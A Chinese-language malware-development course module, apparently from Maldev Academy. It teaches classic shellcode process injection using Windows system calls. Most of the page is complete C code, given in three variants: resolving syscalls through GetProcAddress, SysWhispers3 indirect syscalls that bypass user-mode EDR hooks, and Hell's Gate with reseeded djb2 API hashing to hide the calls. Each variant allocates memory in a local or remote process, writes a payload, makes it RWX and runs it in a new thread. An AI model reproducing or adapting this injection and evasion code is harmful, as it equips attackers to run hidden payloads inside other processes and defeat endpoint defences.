跳至主要內容

67-系统调用 - 重新实现经典注入

Maldevacademy大约 12 分钟安全开发

导言

在本文档中,我们将通过直接使用系统调用来实现此前讨论过的传统进程注入技术,用系统调用替代 WinAPI。

必需的系统调用

本部分将介绍使用的必需系统调用,并说明其参数。

NtAllocateVirtualMemory

这是 VirtualAllocVirtualAllocEx WinAPI 的结果系统调用。NtAllocateVirtualMemory 如下所示。

NTSTATUS NtAllocateVirtualMemory(
  IN HANDLE           ProcessHandle,    // 进程句柄,用于在其中分配内存
  IN OUT PVOID        *BaseAddress,     // 分配的内存基址
  IN ULONG_PTR        ZeroBits,         // 始终设置为 '0'
  IN OUT PSIZE_T      RegionSize,       // 要分配的内存大小
  IN ULONG            AllocationType,   // MEM_COMMIT | MEM_RESERVE
  IN ULONG            Protect           // 页面保护 
);

NtAllocateVirtualMemoryVirtualAllocEx WinAPI 类似,但不同之处在于 RegionSizeBaseAddress 都通过引用传递,使用运算符 (&) 的地址。ZeroBits 是一个新引入的参数,定义为节视图基地址中必须为零的高阶地址位数。此参数始终设置为零。

RegionSize 参数被标记为 IN 且 OUT 参数。这是因为 RegionSize 的值可能会根据实际分配的内容而改变。Microsoft 指出,RegionSize 的初始值指定区域的大小(以字节为单位),并向上舍入到下一个主机页面大小边界。这意味着 NtAllocateVirtualMemory 向上舍入到页面大小的最近倍数,即 4096 字节。例如,如果 RegionSize 设置为 5000 字节,它会向上舍入为 8192,而 RegionSize 会返回已分配的值,在本例中为 8192。

如前文在早期的模块中提到的,所有系统调用都返回 NTSTATUS。如果成功,它将被设置为 STATUS_SUCCESS (0)。否则,如果系统调用 失败open in new window,则会返回非零值。

NtProtectVirtualMemory 函数

这是 VirtualProtect 和 VirtualProtectEx WinAPI 的底层系统调用。NtProtectVirtualMemory 的声明如下:

NTSTATUS NtProtectVirtualMemory(
  IN HANDLE               ProcessHandle,              // 需要更改内存保护的进程句柄
  IN OUT PVOID            *BaseAddress,               // 需要保护的基地址指针
  IN OUT PULONG           NumberOfBytesToProtect,     // 需要保护的区域大小指针
  IN ULONG                NewAccessProtection,        // 要设置的新内存保护属性
  OUT PULONG              OldAccessProtection         // 用于接收以前访问保护属性的变量指针
);

BaseAddressNumberOfBytesToProtect 参数都是通过引用传递,使用“地址的”运算符 (&)。

NumberOfBytesToProtect 参数的行为与 NtAllocateVirtualMemory 中的 RegionSize 参数类似,它会将字节数向上舍入到最接近的页面大小。

NtWriteVirtualMemory

NtWriteVirtualMemoryWriteProcessMemory WinAPI调用所引发的系统调用。NtWriteVirtualMemory如下所示:

NTSTATUS NtWriteVirtualMemory(
  IN HANDLE               ProcessHandle,          // 要写入其内存的进程句柄
  IN PVOID                BaseAddress,            // 指定进程中要写入数据的基址
  IN PVOID                Buffer,                 // 要写入的数据
  IN ULONG                NumberOfBytesToWrite,   // 要写入的字节数
  OUT PULONG              NumberOfBytesWritten    // 指向实际写入的字节数的变量的指针
);

NtWriteVirtualMemory的参数与其 WinAPI 版本 WriteProcessMemory 的参数相同。

NtCreateThreadEx

这是 CreateThreadCreateRemoteThreadCreateRemoteThreadEx WinAPI 的结果系统调用。NtCreateThreadEx 如下所示。

NTSTATUS NtCreateThreadEx(
    OUT PHANDLE                 ThreadHandle,         // 指向接收创建的线程句柄的 HANDLE 变量的指针
    IN  ACCESS_MASK             DesiredAccess,        // 线程的访问权限(设置为 THREAD_ALL_ACCESS - 0x1FFFFF)  
    IN  POBJECT_ATTRIBUTES      ObjectAttributes,     // 指向 OBJECT_ATTRIBUTES 结构的指针(设置为 NULL)
    IN  HANDLE                  ProcessHandle,        // 要在其中创建线程的进程的句柄。
    IN  PVOID                   StartRoutine,         // 要执行的应用程序定义函数的基址
    IN  PVOID                   Argument,             // 指向要传递给线程函数的变量的指针(设置为 NULL)
    IN  ULONG                   CreateFlags,          // 控制线程创建的标志(设置为 NULL)
    IN  SIZE_T                  ZeroBits,             // 设置为 NULL
    IN  SIZE_T                  StackSize,            // 设置为 NULL
    IN  SIZE_T                  MaximumStackSize,     // 设置为 NULL
    IN  PPS_ATTRIBUTE_LIST      AttributeList         // 指向 PS_ATTRIBUTE_LIST 结构的指针(设置为 NULL)
);

NtCreateThreadExCreateRemoteThreadEx WinAPI 类似。NtCreateThreadEx 是个非常灵活的系统调用,可以复杂地操作创建的线程。然而,出于我们的目的,它的多数参数都将被设置为 NULL

使用 GetProcAddress 和 GetModuleHandle 实现

将通过多种方法调用系统调用,首先是常用的 WinAPI GetProcAddressGetModuleHandle。此技术非常直接,已多次用于动态调用系统调用。然而,如前所述,此方法不会绕过安装在系统调用上的任何用户层钩子。

在本模块中提供的可下载代码中,使用 InitializeSyscallStruct 创建并初始化了一个 Syscall 结构,其中包含所用系统调用的地址,如下所示。

// 保存已用系统调用的结构
typedef struct _Syscall {

	fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
	fnNtProtectVirtualMemory  pNtProtectVirtualMemory;
	fnNtWriteVirtualMemory    pNtWriteVirtualMemory;
	fnNtCreateThreadEx        pNtCreateThreadEx;

} Syscall, *PSyscall;


// 用于填充输入“St”结构的函数
BOOL InitializeSyscallStruct (OUT PSyscall St) {

	HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
	if (!hNtdll) {
		printf("[!] GetModuleHandle 失败,错误代码:%d \n", GetLastError());
		return FALSE;
	}

	St->pNtAllocateVirtualMemory  = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
	St->pNtProtectVirtualMemory   = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
	St->pNtWriteVirtualMemory     = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
	St->pNtCreateThreadEx         = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

        // 检查 GetProcAddress 是否错过了系统调用
	if (St->pNtAllocateVirtualMemory == NULL || St->pNtProtectVirtualMemory == NULL || St->pNtWriteVirtualMemory == NULL || St->pNtCreateThreadEx == NULL)
		return FALSE;
	else
		return TRUE;
}

接下来,ClassicInjectionViaSyscalls 函数将负责在目标进程 hProcess 中执行有效载荷 pPayload。如果函数无法执行有效载荷,则返回 FALSE;如果成功执行,则返回 TRUE。此外,根据 hProcess 的值,该函数可用于注入本地和远程进程。

BOOL ClassicInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {


	Syscall   St                     = { 0 };
	NTSTATUS  STATUS                 = 0x00;
	PVOID     pAddress               = NULL;
	ULONG     uOldProtection         = NULL;

	SIZE_T    sSize                  = sPayloadSize,
              sNumberOfBytesWritten	= NULL;
	HANDLE    hThread                = NULL;

	// 初始化“St”结构以获取系统调用的地址
	if (!InitializeSyscallStruct(&St)){
		printf("[!] 无法初始化系统调用结构\n");
		return FALSE;
	}
	
//--------------------------------------------------------------------------
	
	// 分配内存
	if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
		printf("[!] NtAllocateVirtualMemory 失败,错误代码:0x%0.8X \n", STATUS);
		return FALSE;
	}

	printf("[+] 已在 0x%p 分配 %d 大小的地址\n", pAddress, sSize);
	printf("[#] 按 <Enter> 写入有效载荷 ... ");
	getchar();

//--------------------------------------------------------------------------

	// 写入有效载荷
	printf("\t[i] 正在写入 %d 大小的有效载荷 ... ", sPayloadSize);
	if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
		printf("[!] pNtWriteVirtualMemory 失败,错误代码:0x%0.8X \n", STATUS);
		printf("[i] 已写入字节数:%d/%d \n", sNumberOfBytesWritten, sPayloadSize);
		return FALSE;
	}
	printf("[+] 完成\n");

//--------------------------------------------------------------------------

	// 将内存权限更改为 RWX
	if ((STATUS = St.pNtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
		printf("[!] NtProtectVirtualMemory 失败,错误代码:0x%0.8X \n", STATUS);
		return FALSE;
	}

//--------------------------------------------------------------------------
	// 通过线程执行有效载荷
	printf("[#] 按 <Enter> 运行有效载荷 ... ");
	getchar();
	printf("\t[i] 正在运行入口为 0x%p 的线程 ... ", pAddress);
	if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
		printf("[!] NtCreateThreadEx 失败,错误代码:0x%0.8X \n", STATUS);
		return FALSE;
	}
	
	printf("[+] 完成\n");
	printf("\t[+] 已创建线程,ID 为:%d \n", GetThreadId(hThread));

	return TRUE;
}

有效负载大小和向上取整

请注意,NtAllocateVirtualMemory 会将 RegionSize 的值向上取整为 4096 的倍数。由于对大小的向上取整,在分配内存和写入内存时使用相同有效负载大小变量时必须小心,因为这会导致写入的字节比预期更多。这就是上述代码为 NtAllocateVirtualMemoryNtWriteVirtualMemory 使用单独的大小变量的原因。

在下面的代码片段中演示了这个问题。

  // sPayloadSize 为有效负载大小(272 字节)
  // 分配内存
  if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sPayloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
    return FALSE;
  }

  // sPayloadSize 的值现在为 4096
  // 将有效负载写入 sPayloadSize(NumberOfBytesToWrite)为 4096 而不是原始大小
  if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0) {
    return FALSE;
  } 

使用 SysWhispers 实现

本文的实现使用 SysWhispers3 通过间接系统调用绕过用户程序钩子。以下命令用于生成此实现所需的文档。

python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o SysWhispers -v

生成了三个文件:SysWhispers.hSysWhispers.cSysWhispers-asm.x64.asm。下一步是按照 SysWhisper's 自述文件open in new window 中所述将这些文件导入 Visual Studio。以下演示具体步骤。

步骤 1

将生成的 .h.cpp 文件复制到项目文件夹,然后将它们作为现有项添加到 Visual Studio 项目中。

image
image

步骤 2

在项目中启用 MASM 以允许编译生成的汇编代码。

图片
图片
图片
图片

MASM:Microsoft 汇编器

步骤 3

修改属性,使用“Microsoft Macro Assembler”编译 ASM 文件。

image
image
image
image

第 4 步

Visual Studio 项目现在可以编译。以下显示了 ClassicInjectionViaSyscalls 函数。

BOOL ClassicInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {


	NTSTATUS	STATUS                  = 0x00;
	PVOID		pAddress                = NULL;
	ULONG		uOldProtection          = NULL;

	SIZE_T		sSize                   = sPayloadSize,
			    sNumberOfBytesWritten   = NULL;
	HANDLE		hThread	                = NULL;



	// 分配内存
	if ((STATUS = NtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
		printf("[!] NtAllocateVirtualMemory 错误:0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] 在地址 0x%p 分配大小 %d 的内存 \n", pAddress, sSize);
	printf("[#] 按 <Enter> 键写入载荷 ... ");
	getchar();

//--------------------------------------------------------------------------
	// 写入载荷
	printf("\t[i] 写入大小为 %d 的载荷 ... ", sPayloadSize);
	if ((STATUS = NtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
		printf("[!] pNtWriteVirtualMemory 错误:0x%0.8X \n", STATUS);
		printf("[i] 已写入 %d 个字节,总共 %d 个字节 \n", sNumberOfBytesWritten, sPayloadSize);
		return FALSE;
	}
	printf("[+] 已完成 \n");

//--------------------------------------------------------------------------
	// 将内存权限更改为 RWX
	if ((STATUS = NtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
		printf("[!] NtProtectVirtualMemory 错误:0x%0.8X \n", STATUS);
		return FALSE;
	}

//--------------------------------------------------------------------------
	// 通过线程执行载荷
	printf("[#] 按 <Enter> 键运行载荷 ... ");
	getchar();
	printf("\t[i] 运行入口点为 0x%p 的线程 ... ", pAddress);
	if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
		printf("[!] NtCreateThreadEx 错误:0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] 已完成 \n");
	printf("\t[+] 已创建线程,ID 为:%d \n", GetThreadId(hThread));

	return TRUE;
}

通过 Hell's Gate 实现

该模块的最后实现是使用 Hell's Gate。首先,确保对使用 SysWhispers3 的 Visual Studio 项目所执行的相同步骤在此处也执行了。具体而言,启用 MASM 并修改属性以将 ASM 文件设置为使用 Microsoft 宏汇编器编译。

更改注入函数

需要对 Hell's Gate 代码做出一些更改,首先,需要以 ClassicInjectionViaSyscalls 函数替换注入函数open in new window

BOOL ClassicInjectionViaSyscalls(
  IN PVX_TABLE pVxTable, 
  IN HANDLE hProcess, 
  IN PBYTE pPayload, 
  IN SIZE_T sPayloadSize
) {

  NTSTATUS STATUS = 0x00;
  PVOID pAddress = NULL;
  ULONG uOldProtection = NULL;

  SIZE_T sSize = sPayloadSize,
    sNumberOfBytesWritten = NULL;
  HANDLE hThread = NULL;


  // 分配内存
  HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
  if ((STATUS = HellDescent(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
    printf("[!] NtAllocateVirtualMemory 失败,错误代码:0x%0.8X \n", STATUS);
    return FALSE;
  }

  printf("[+] 已分配内存地址:0x%p 大小为:%d \n", pAddress, sSize);
  printf("[#] 按 <Enter> 写入注入代码 ... ");
  getchar();

  //--------------------------------------------------------------------------

  // 写入注入代码
  printf("\t[i] 写入大小为 %d 的注入代码 ... ", sPayloadSize);
  HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall);
  if ((STATUS = HellDescent(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
    printf("[!] pNtWriteVirtualMemory 失败,错误代码:0x%0.8X \n", STATUS);
    printf("[i] 已写入的字节数:%d/%d \n", sNumberOfBytesWritten, sPayloadSize);
    return FALSE;
  }
  printf("[+] 完成 \n");

  //--------------------------------------------------------------------------

  // 更改内存权限为 RWX
  HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
  if ((STATUS = HellDescent(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
    printf("[!] NtProtectVirtualMemory 失败,错误代码:0x%0.8X \n", STATUS);
    return FALSE;
  }

  //--------------------------------------------------------------------------
  // 通过线程执行注入代码
  printf("[#] 按 <Enter> 运行注入代码 ... ");
  getchar();
  printf("\t[i] 运行入口点为 0x%p 的线程 ... ", pAddress);
  HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
  if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
    printf("[!] NtCreateThreadEx 失败,错误代码:0x%0.8X \n", STATUS);
    return FALSE;
  }
  printf("[+] 完成 \n");
  printf("\t[+] 已创建线程,ID 为:%d \n", GetThreadId(hThread));


  return TRUE;
}

更新 VX_TABLE 结构

接下来,需要使用如下所示的系统调用名称更新 VX_TABLEopen in new window 结构。

typedef struct _VX_TABLE {
	VX_TABLE_ENTRY NtAllocateVirtualMemory; // NtAllocateVirtualMemory 系统调用
	VX_TABLE_ENTRY NtWriteVirtualMemory; // NtWriteVirtualMemory 系统调用
	VX_TABLE_ENTRY NtProtectVirtualMemory; // NtProtectVirtualMemory 系统调用
	VX_TABLE_ENTRY NtCreateThreadEx; // NtCreateThreadEx 系统调用
} VX_TABLE, * PVX_TABLE;

更新种子值

一个新的种子值将用来替换 旧的种子值open in new window 以更改系统调用的哈希值。djb2 哈希函数已使用以下新种子值更新。

DWORD64 djb2(PBYTE str) {
	DWORD64 dwHash = 0x77347734DEADBEEF; // 旧值: 0x7734773477347734
	INT c;

	while (c = *str++)
		dwHash = ((dwHash << 0x5) + dwHash) + c;

	return dwHash;
}

将以下 printf 语句添加到新项目中以生成 djb2 哈希值。

printf("#define %s%s 0x%p \n", "NtAllocateVirtualMemory", "_djb2", (DWORD64)djb2("NtAllocateVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtWriteVirtualMemory", "_djb2", djb2("NtWriteVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtProtectVirtualMemory", "_djb2", djb2("NtProtectVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));
image
image

生成哈希值后,将它们添加到 Hell's Gate 项目的开头。

#define NtAllocateVirtualMemory_djb2  0x7B2D1D431C81F5F6
#define NtWriteVirtualMemory_djb2     0x54AEE238645CCA7C
#define NtProtectVirtualMemory_djb2   0xA0DCC2851566E832
#define NtCreateThreadEx_djb2         0x2786FB7E75145F1A

更新主函数

主函数必须更新为调用 ClassicInjectionViaSyscalls,而不是 payload 函数open in new window。该函数将使用上述生成的哈希,如下所示。

INT main() {
    // 获取 PEB 结构
    PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
    PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
    if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
        return 0x1;

    // 获取 NTDLL 模块
    PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

    // 获取 Ntdll 的 EAT
    PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
    if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
        return 0x01;

    //--------------------------------------------------------------------------
    // 初始化“表”结构
    VX_TABLE Table = { 0 };
    Table.NtAllocateVirtualMemory.dwHash = NtAllocateVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
        return 0x1;

    Table.NtWriteVirtualMemory.dwHash = NtWriteVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory))
        return 0x1;

    Table.NtProtectVirtualMemory.dwHash = NtProtectVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
        return 0x1;

    Table.NtCreateThreadEx.dwHash = NtCreateThreadEx_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
        return 0x1;

    //--------------------------------------------------------------------------
    // 注入代码 - 调用“ClassicInjectionViaSyscalls”函数

    // 如果是本地注入
    #ifdef LOCAL_INJECTION
    if (!ClassicInjectionViaSyscalls(&Table, (HANDLE)-1, Payload, sizeof(Payload)))
        return 0x1;
    #endif // LOCAL_INJECTION

    // 如果是远程注入
    #ifdef REMOTE_INJECTION
    // 打开目标进程句柄
    printf("[i] 正在针对进程 ID 为 %d 的进程\n", PROCESS_ID);
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID);
    if (hProcess == NULL) {
        printf("[!] OpenProcess 失败,错误代码:%d\n", GetLastError());
        return -1;
    }

    if (!ClassicInjectionViaSyscalls(&Table, hProcess, Payload, sizeof(Payload)))
        return 0x1;

    #endif // REMOTE_INJECTION

    return 0x00;
}

本地注入与远程注入

由于实现的 ClassicInjectionViaSyscalls 可以在本地进程和远程进程级别上工作,因此构造了一个预处理器宏代码,如果定义了 LOCAL_INJECTION,则将目标对准本地进程。预处理代码如下所示。

#define LOCAL_INJECTION

#ifndef LOCAL_INJECTION
#define REMOTE_INJECTION
// 设置目标进程 PID
#define PROCESS_ID    18784    
#endif // !LOCAL_INJECTION

可以注释掉 #define LOCAL_INJECTION 以将目标对准远程进程。在这种情况下,将以 PID 等于 PROCESS_ID 的进程为目标。如果未注释掉 #define LOCAL_INJECTION(这是共享代码中的默认设置),则将使用本地进程的伪句柄,其等于 (HANDLE)-1

演示

在本地使用 SysWhispers 实现。

image
image

远程使用 SysWhispers 实现。

image
image

在本地使用 Hell's Gate 实现。

image
image

远程使用 Hell's Gate 实现。

image
image